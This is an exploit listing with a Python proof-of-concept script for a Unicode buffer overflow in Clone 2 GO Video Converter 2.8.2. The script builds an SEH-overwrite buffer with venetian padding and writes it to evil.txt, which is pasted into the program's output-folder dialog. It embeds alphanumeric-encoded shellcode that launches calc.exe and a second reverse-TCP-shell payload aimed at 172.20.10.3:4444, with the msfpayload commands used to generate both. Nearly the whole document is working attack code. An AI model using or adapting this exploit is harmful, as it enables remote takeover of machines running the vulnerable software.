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Clone 2 GO Video Converter 2.8.2 Unicode Buffer Overflow

Clone 2 GO Video Converter 2.8.2 Unicode Buffer Overflow
Posted Jun 5, 2018
Authored by Gokul Babu

Clone 2 GO Video Converter version 2.8.2 unicode buffer overflow remote code execution vulnerability.

tags | exploit, remote, overflow, code execution
SHA-256 | 487a673b2e8db8fb4aaa17e7d695d49b0d7652fd214fb9ac2e5f91973f48183d

Clone 2 GO Video Converter 2.8.2 Unicode Buffer Overflow

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#!/usr/bin/python
#----------------------------------------------------------------------------------------------------------------------#
# Exploit Title : Clone 2 GO Video converter 2.8.2 Unicode Buffer Overflow (Remote Code Execution) #
# Exploit Author : Gokul Babu #
# Organisation : Arridae Infosec P.V Ltd #
# Vendor Homepage : http://www.clone2go.com/products/videoconverter.php #
# Vulnerable Software: http://www.clone2go.com/down/video-converter-setup.exe #
# Tested on : Windows-7 64-bit(eip-828)(Other windows versions also vulnerable Only Eip overwrite will change #
# Steps to reproduce : Open the evil.txt paste the contents in Options -> Set output folder -> Browse #
#----------------------------------------------------------------------------------------------------------------------#

#payload generation method
#msfpayload windows/exec CMD=calc.exe R > calc.raw
#./alpha2 eax --unicode --uppercase < calc.raw

#seh-"004d00b3"
#\x73-venetian pad(other things didn't work)
#248 bytes of padding before shellcode is required which is 124 bytes in Unicode
#EAX register is used for operation

seh= "\x41\x73" + "\xb3\x4d"
operation="\x73\x53\x73\x58\x73\x05\x0b\x01\x73\x2d\x02\x01\x73\x50\x73\xc3" + "\x90"*124

shellcode=("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLK83YKPKPKPS0TIYUNQ8RC4TKPRP0TK0RLL4KPRLT4KRRNHLOWGPJMVNQKO01GP6LOLQQCLM2NLMPWQXOLMKQ97IRL0PR0W4K22LP4KOROLKQ8P4KOP2XU5WP2TPJKQXPPPDKPHMHTK28MPKQXSK3OLOYTKP4TKKQXVNQKONQWP6LY1XOLMKQWW08K0RUL4M3SMZXOK3MNDBUIRQH4KB8MTKQXSBFDKLLPKTK0XMLM1IC4KKTDKM1HPSY14MTNDQKQKQQ0YPZR1KOIPQHQO1J4KLRJKE6QMRJKQTMU5VYKPM0M0PPS801TKROTGKOJ57KJP7EUR1FQXW6TUGM5MKOXUOLLFSLLJSPKK9P2UM57KOWN3T2BOBJKP1CKO8UQSC1RL2CKPA")

#msfpayload windows/shell_reverse_tcp LHOST=172.20.10.3 LPORT=4444 R > reverse.raw
#./alpha2 eax --unicode --uppercase < reverse.raw
reverse=("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKL9X3YM0KPKPQPTIYUNQYBQTDKR2NPTKPRLL4KQBMDTKBRMXLOVWOZMVP1KONQWP6LOLQQSLKRNLMPWQXOLMM1Y7YRL022B7TKPRLPDKOROLKQHPDKOP2XCUY044OZKQJ00PTKOXN84KPXMPKQ9CK3OLQ9TKNT4KKQZ6P1KONQ7P6LWQHOLMKQ97OHIPBUJTM3SMKHOK3MNDRUK2R84KQHNDKQZ3S64KLL0KTKR8MLKQICTKM44KKQHPDIOTO4O4QKQK1Q0YPZPQKOK0QH1O1JTKLRZKDF1MS8NSNRKPKP1XT7BSNR1O0TQXPLCGMVKWKO8UFX4PKQKPKPMY940TPPBHO9502KKPKO9EPP0P20PPOPR0OP0P1XJJLO9O9PKO8UTIXGRH6LN4LJLCQXLBM0LQQLDI9VQZLPPVPW1XTYEUT4QQKOJ5BHQSBMQTM0U9JCR7270WP1JV1ZMBPYR6YRKM1VY7PDNDOLKQM1TMOTO4LPGVKPQ4PTPPB6PVPVOVB60NPVPV0SPVRH2Y8LOO3VKO9ESYK00NR6OVKO00S8LHDGMMQPKOXUGKJPVUVBPVRH76TUWMUMKOJ5OLKVSLLJ3PKKYPT5KUWKOWMCRRRO1ZKPPSKOZ5A")

buf="A"*828 + seh + operation + shellcode + "D"*(4164-len(operation) -len(shellcode))

f=open("evil.txt","w")
f.write(buf)
f.close()

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